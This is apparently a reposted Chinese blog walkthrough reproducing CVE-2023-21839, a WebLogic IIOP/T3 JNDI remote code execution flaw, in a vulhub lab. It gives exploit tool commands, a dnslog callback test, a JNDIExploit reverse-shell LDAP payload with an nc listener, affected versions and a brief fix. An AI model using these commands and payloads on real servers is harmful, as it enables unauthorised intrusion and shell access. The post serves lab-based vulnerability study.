CVE-2023-21839复现(Weblogic)

admin 2024年11月11日20:54:14评论182 views字数 2760阅读9分12秒阅读模式

前言

       由于IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,攻击者可以进行 JNDI lookup 操作,实现任意命令执行漏洞导致服务器沦陷。

CVE-2023-21839复现(Weblogic)
CVE-2023-21839复现(Weblogic)

0x01 前提知识

Prerequisite knowledge

       IIOP是一种面向对象的通信协议,用于在不同的应用程序之间进行分布式对象通信。它是CORBA(Common Object Request Broker Architecture)规范的一部分,允许使用不同编程语言编写的应用程序之间进行交互。WebLogic使用IIOP作为默认的通信协议,以支持CORBA标准和分布式对象的远程调用。

        T3是WebLogic Server的自有协议,用于在WebLogic Server集群内部进行高性能和高效的通信。它是一种基于Java的远程方法调用(RMI)协议,专门用于在WebLogic Server实例之间传递消息和调用远程方法。T3协议在WebLogic Server的内部使用,并提供了一些高级功能,如负载均衡、故障转移和安全性。

Java的远程方法调用协议:

(1)Java RMI(Java Remote Method Invocation)Java标准库提供的远程方法调用机制。它允许在不同的Java虚拟机(JVM)之间进行对象的远程调用。Java RMI使用Java序列化机制将对象进行序列化反序列化,并通过网络进行传输。

(2)EJB(Enterprise JavaBeans):EJB是Java EE(Java Enterprise Edition - Java企业版)的一部分,它提供了一种分布式组件模型远程方法调用机制。通过EJB,可以将Java组件发布为远程服务,允许客户端通过远程调用方式访问和调用这些组件的方法。

(3)JAX-RPC(Java API for XML-Based Remote Procedure Call):JAX-RPC是一种基于XML的远程过程调用协议。它允许使用SOAP(Simple Object Access Protocol - 简单对象访问协议)和HTTP等协议,在不同的系统之间进行跨平台的远程方法调用

(4)Apache Thrift:Apache Thrift是一种跨语言的远程服务框架,它可以生成多种编程语言的客户端和服务端代码。它支持多种传输协议和序列化格式,包括TCP、HTTP、JSON和二进制等。

(5)gRPC:gRPC是由Google开发的高性能、开源的远程过程调用框架。它基于Protocol Buffers进行数据序列化,并使用HTTP/2协议进行通信。gRPC支持多种编程语言,并提供了强类型的接口定义语言(IDL)来定义远程服务的接口。

SOAP(Simple Object Access Protocol)是一种基于XML的通信协议,用于在网络上进行应用程序间的通信。它是一种轻量级、可扩展的协议,常用于分布式系统中的远程过程调用(RPC)。SOAP协议的设计目标是实现不同平台、不同语言的应用程序之间的互操作性。它使用XML作为消息格式,通过HTTP或其他传输协议在网络上进行数据的传输。SOAP消息由XML元素组成,其中包含了调用的方法、参数以及返回结果等信息。

CVE-2023-21839复现(Weblogic)

0x02 环境搭建

Environment construction

vulhub靶场的:

/vulhub/weblogic/CVE-2023-21839目录下

命令:docker compose up -d

CVE-2023-21839复现(Weblogic)

访问:

http://IP:7001/console/login/LoginForm.jsp,进入到了管理员界面

CVE-2023-21839复现(Weblogic)
CVE-2023-21839复现(Weblogic)

0x03 漏洞验证

Vulnerability verification

首先需要生成漏洞利用程序(CVE-2023-21839)

下载地址:https://github.com/4ra1n/CVE-2023-21839

进入到CVE-2023-21839下的cmd目录依次执行以下命令:

go build -o CVE-2023-21839./CVE-2023-21839 -ip 127.0.0.1 -port 7001 -ldap ldap://127.0.0.1:1389/evilgo build -o CVE-2023-21839.exeCVE-2023-21839.exe -ip 127.0.0.1 -port 7001 -ldap ldap://127.0.0.1:1389/evil

便生成了下面要用到的CVE-2023-21839程序

在DNSlog上Get一个域名,用来记录DNS日志

CVE-2023-21839复现(Weblogic)

在CVE-2023-21839的cmd目录下执行命令:

./CVE-2023-21839 -ip 192.168.43.25 -port 7001 -ldap ldap://niyv8m.dnslog.cn/test

刷新DNSlog

CVE-2023-21839复现(Weblogic)
CVE-2023-21839复现(Weblogic)

攻击成功,可能存在Weblogic未授权远程代码执行漏洞

CVE-2023-21839复现(Weblogic)

0x04 实现反弹shell

Implement reverse shell

漏洞利用工具:JNDIExploit-1.4-SNAPSHOT

下载地址:https://github.com/WhiteHSBG/JNDIExploit

在工具包的目录下执行:

mvn clean package -DskipTests

即可生成启动恶意服务的jar包。

注意:需要jdk8环境

在JNDIExploit的targe目录下执行以下命令(没有这个jar包就执行上面的命令生成一下),搭建恶意ldap服务。

java -jar JNDIExploit-1.4-SNAPSHOT.jar --ip 192.168.43.25
CVE-2023-21839复现(Weblogic)

命令:java -jar JNDIExploit-1.4-SNAPSHOT.jar -u

可以查看所有ldap攻击的payload

CVE-2023-21839复现(Weblogic)

在这里我们用:

ldap://0.0.0.0:1389/Basic/ReverseShell/[ip]/[port]

0.0.0.0代表开启恶意服务的主机(服务器)

开启监听端口:

nc -lvp 6666
CVE-2023-21839复现(Weblogic)

使用刚刚生成的CVE-2023-21839程序访问靶机IP、端口和恶意ldap的payload

CVE-2023-21839复现(Weblogic)

成功反弹了shell

CVE-2023-21839复现(Weblogic)
CVE-2023-21839复现(Weblogic)

0x05 漏洞影响范围

Vulnerability scope

14.1.1.0.0

12.2.1.2.0

12.2.1.1.0

12.2.1.3.0

12.2.1.0.0

12.2.1.4.0

12.1.2.0.0

12.1.3.0.0

10.3.6.0

CVE-2023-21839复现(Weblogic)

0x06 修复建议

Repair suggestion

禁用禁用 T3 及 IIOP

CVE-2023-21839复现(Weblogic)

0x07 参考文章

Reference article

kali安装jdk8:

https://www.jianshu.com/p/11cd85e553d2
CVE-2023-21839复现(Weblogic)
CVE-2023-21839复现(Weblogic)
CVE-2023-21839复现(Weblogic)

原文始发于微信公众号(奇点bit):CVE-2023-21839复现(Weblogic)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月11日20:54:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-21839复现(Weblogic)https://cn-sec.com/archives/1791458.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息